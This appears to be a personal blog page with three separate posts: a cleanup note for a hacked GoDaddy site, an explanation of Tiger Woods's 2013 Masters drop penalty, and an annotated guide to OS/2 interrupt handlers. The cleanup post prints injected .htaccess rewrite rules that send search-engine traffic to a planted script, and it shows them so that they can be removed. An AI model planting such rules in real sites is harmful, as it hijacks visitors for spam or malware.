Cleaning up

Looks like GoDaddy already removed the evil, but left some files behind.

.htaccess has extra items, these should be erased or commented

# RewriteEngine On
# RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
# RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
# RewriteRule ^([^/]*)/$ /starting.php?p=$1 [L]
Extra files exist in the html root, these should be erased
gdd-webform.php
gddform.php
h-s.txt
s-g.txt
starting.php

Bottom line Today (Dec 24 2014), I do not have an issue – at least I do not have this issue.  On August 13th 2014, I did though and now, 4 months later, I spend a few hours dismantling the scripts to see what’s happening.  It was entertaining, so I share for all

Why Tiger Woods was penalized 2 strokes at the 2013 Masters

(Originally published Oct 24 2013)

At the 2013 Masters Golf Tournament, Tiger Woods nearly holed an approach shot on the 15th hole – only to have it bounce off the flag and go back into the water. Tough break!  A number of friends have asked me to explain the 3 strokes in penalty so I write it here for a wider audience.  Below is a graphic of the Augusta 15th green along with a markers for the where the shot was taken, and available drop locations.  The key point is that after the ball hit the flag, it did not bounce directly back toward the hitter, it went at an angle to the left and this changes the available drop locations.

Tiger Woods at Augusta #15, Masters 2013.

The USGA publishes the rules of the game and for today, we’re interested in rule 26-1, link, which discusses the players options for a drop after hitting a ball into a water hazard.  According to the rules, Tiger can drop in 3 places identified by black circles.  He cannot drop in the red-circle, but this is where he did drop and that is the source of all the chaos.

Legal drop spots – shown by number in the graphic

  1. Same spot as where hit the last shot.  Technically “ball as nearly as possible”
  2. Behind the water hazard, on a line (more precisely, a ray) originating at the flag and extending through the point where the ball LAST entered the hazard. This means it has to be on the same side of the canal as where the prior shot was taken and in this case, that location has a tree or is out of bounds, so it is not a candidate
  3. Drop area if designated and in this case, a drop area was defined so it was an option.  Precisely where that drop location lies on the #15 hole I do not know, but for today’s purposes, I’ve drawn it off to the right.  Key point, this option wasn’t selected, so it isn’t part of the present question

Note that for “2″, the line segment extends forever and the golfer may drop anywhere on that line so long as they are still on the course.  Reviewing options, the drop area was “wet”, so undesirable.  The original spot was not liked because it was a couple yards too close to be in Tiger’s sweet spot, so he selected a spot a few yards further away.

How Tiger got bit! 

NORMALLY when a golfer chips into the water right in front of the green, it “costs 2″ (The shot into the water +1 penalty) and you hit another from the same spot.  Or, you can back up as far as you want with a line on the flag. This however is not the rule, it is an abbreviation of the actual rule.  The abbreviation though “works” most of the time because the place the ball enters the water is usually directly between the original spot and the flag.  This means you can usually drop where you hit from, or anywhere further away, but this is only usually.

The rules don’t say where the ball entered the hazard, they say where the ball LAST entered the hazard and here, Tiger missed! In his case, the ball last entered the hazard AFTER it hit the flag stick.

Rules to your advantage

This going further back thing is not so well known.  It can though be very handy; for example trees are in the way.   Golf permits you to drop anywhere on the permitted line/ray and you can go as far back as you want, even past the tee-box!  With this, you can take the trees out of play.  Yes, you end up hitting a further shot, but it can be an easier shot.  This is 100% legal and knowing the rules can save you shots on your game.  This line/ray thing also makes it easy to back up a couple yards when you don’t like the lie where you hit a first shot into the water, usually.

That abbreviation though is NOT the rule of the game

The rules say to draw a line from the flag through the spot the ball LAST entered the hazard.  In tigers case, his ball crossed into the hazard TWICE.  First on the way to the green and second after it bounced off the flag.  In drawing the line/ray, Tiger mistakenly used the first passage into the hazard rather than the second and selected a position further away to get an advantage on his second try into the green.  This advantage is not permitted for 26-1 “a”, so it’s a 2-stroke penalty.

Interestingly, had the ball bounced off the flag directly back at Tiger this would work out to be a “same”.  The line/ray would go through the point of the original shot, but the ball did not bounce straight back!

Where things get complicated

Tiger completed the round, signed his card and turned it in.  Accounts say that the tournament committee were aware of the discrepancy before the round completed and decided that his couple yard movement was not an issue because they were both “same spot” as original.  That is, it provided no “advantage”, so the shot was the same.

BUT, in an interview after the tournament, Tiger noted that he purposefully DID select a spot further because he wanted the shot to be longer, to get it into his sweet spot for the second try, and it worked!    This triggered the rules committee, that he really wasn’t dropping in “same spot”, he was moving back on the line, but it wasn’t the right line!  Oh crap, what now!

The rules of the game say that if you turn in a score card with a score better than actual, you’re disqualified.  There is an exception added this year which was used in this case.  Good use in my view.

Twitter and news are abuzz with claims of preferential treatment.  Was there?  Hard to say, but here’s a counter statement that most golfers, most professional golfers, would have never been under the same microscope and their infraction would have gone unnoticed, even to themselves.

Also, the scorers following the group SHOULD have told Tiger of the 2 stroke infraction before he signed his card.  Technically, the golfer must ask for scoring assistance, so it falls back on the golfer, but really, would this same level of scrutiny existed for anyone other than the most watched name in the tournament?

Statute of limitations

The rules say nothing about a time limit of when a score card is “accepted” by the tournament.  At what point can a tournament no longer come back to say “you messed up”.  At some point, the score has to be finalized, or golfers will never be able to sleep at night as they recount every shot and every potential mistake of the day.

Right conclusion

The Masters and the rules of golf got it right, they charged Tiger Woods the 2 strokes for the violation, but he was not disqualified and was able to stay in the tournament.  His score was adjusted to be what it would have been if he had scored it correctly.  Above said, I am sure that Tiger Woods will not make this mistake again! 

Calls for Self-DQ

It is permissible for a player to turn in a score card with a score higher than what the tournament believes.  If they do, this score sticks.  With this, players can, and in the past they purposefully have self-imposed penalties that the tournament officials did not see.  This is consistent with the spirit of the game and it is a long tradition.  Was it appropriate here for Tiger to Self-DQ?  Debatable.  The penalty was imposed and Tiger was unaware of the proper score for the hole until it was imposed.  There was no chance to self-assign the penalty, only a chance to self-drop from the tournament, which really wasn’t warranted.

What should have happened

In professional tournaments, rules officials follow the players around the course and are available for in-round questions.   A small inquiry to the officials before the drop would have clearly defined Tiger’s options and would have saved him two-strokes and I’m sure, much anguish.

Given he didn’t ask, the scoring officials should have told him of his mistake and both could have assigned the penalty.  They didn’t tell him at the completion of the hole and they also did not bring it up at the end of the round before he could sign his card.

There’s blame to share, and the right outcome prevailed.

OS/2 Interrupt Handling

Written December 1, 2008. I recently received an inquiry regarding how OS/2 interrupts are handled and what is the correct action of a device driver upon being called by the OS/2 kernel. My first response was, you have got to be kidding me, the operating system has been dead for 10 years. The second response was to tell them the answer and now I write this blog so other folks might find it useful.
The failing scenario was a UNIX based sound API ported to OS/2 and the fact that it was dependent on “time” increasing during interrupt processing. The viewed behavior was that time would not increment so long as the device driver was doing work and this caused the sound library to come unglued. The solution was easy – TIME should increase while the device driver is processing an interrupt. You as the device driver writer should not prevent other device drivers from doing their work, especially an important device driver like the one inside the OS/2 kernel that keeps track of time.
The foundation of the problem was that the sound device driver in question was running its interrupt handler and that interrupt handler was preventing the dispatch of other interrupts. The solution: In the device driver interrupt handler, you should VERY EARLY enable further interrupts. This sounds like something you shouldn’t do, but you should. Example code describes better than words.

// HARDWARE INTERRUPT HANDLER
// Called by OS/2 kernel (interrupt dispatcher)
// On entry:
// DS is already set
// Interrupts are disabled
//
// On exit:
// We do not have to preserve the general purpose registers.
// We must clear the carry flag to tell the kernel that it
// was our IRQ.

void _interrupt IRQHandler (void)
{
   BYTE irqFlag;

   // Determine why the device generated the IRQ
   irqFlag = codecRead (...);

   if (it wasn't us)
   {
       // Set carry flag to tell the OS/2 kernel that it 
       // wasn't ours and return to the kernel (iret).
       // Side note: An interrupt that is dispatched, but that
       // has zero device drivers claim responsibility will be
       // masked off by the OS/2 kernel before interrupt
       // processing is completed.
       Code omitted;
   }

   // Acknowledge the device interrupt
   // In a level triggered world (PCI), the device stops pulling
   // on the interrupt line. Other devices can still be pulling.
   codecWrite (...);

   // Enable higher priority interrupts
   // Omitting this was the bug in the inquiry I received.
   // Enabling interrupts at the CPU does not mean that you will
   // be reentered. Quite the opposite, you WON'T be reentered
   // until you tell the 8259 interrupt controller that you have
   // completed processing this interrupt level.
   // By enabling interrupts at the CPU, what you are doing is
   // enabling the dispatch of "higher priority" interrupts where
   // priority is determined by the PIC.
   // In this example case, IRQ-8 (Timer) is higher priority
   // than IRQ-A (PCI). 
   // With the addition of the enable interrupts at the CPU, 
   // the timer was able to fire and "time" advances.
   sti();

   // Do heavy lifting of moving data and otherwise doing the
   // work of pulling data from the device.
   // Depending on the architecture of the device, it may be
   // necessary to pull/push the data before acking the interrupt
   // at the device.
   Code omitted;

   // Time to return to the kernel
   // Prevent nesting by disabling interrupts at the CPU.
   // Kernel dispatcher will reenable interrupts when we return
   // and it is possible that it will again immediately call us.
   // This is okay because the stack will unwind before next call

   // Prevent interrupts by blocking all of them at the CPU
   cli();

   // Finally - ack the interrupt at the 8259 PIC.
   // The PIC will send interrupts to the CPU, but it won't see
   // them, yet.
   DevHelp_EOI (codec_int);

   // Tell the kernel that we handled this IRQ so that it will
   // skip calling any other device drivers that may be
   // registered for this interrupt.
   clc();

   // Observe that interrupt flag is still clear, this is
   // critical to prevent reentry once the EOI was commanded.
   // iret will be generated by the compiler as part of the
   // function return statement 
   // (dictated by the _interrupt prefix).
   // Kernel will re-enable interrupts (sti) soon after 
   // our return.
}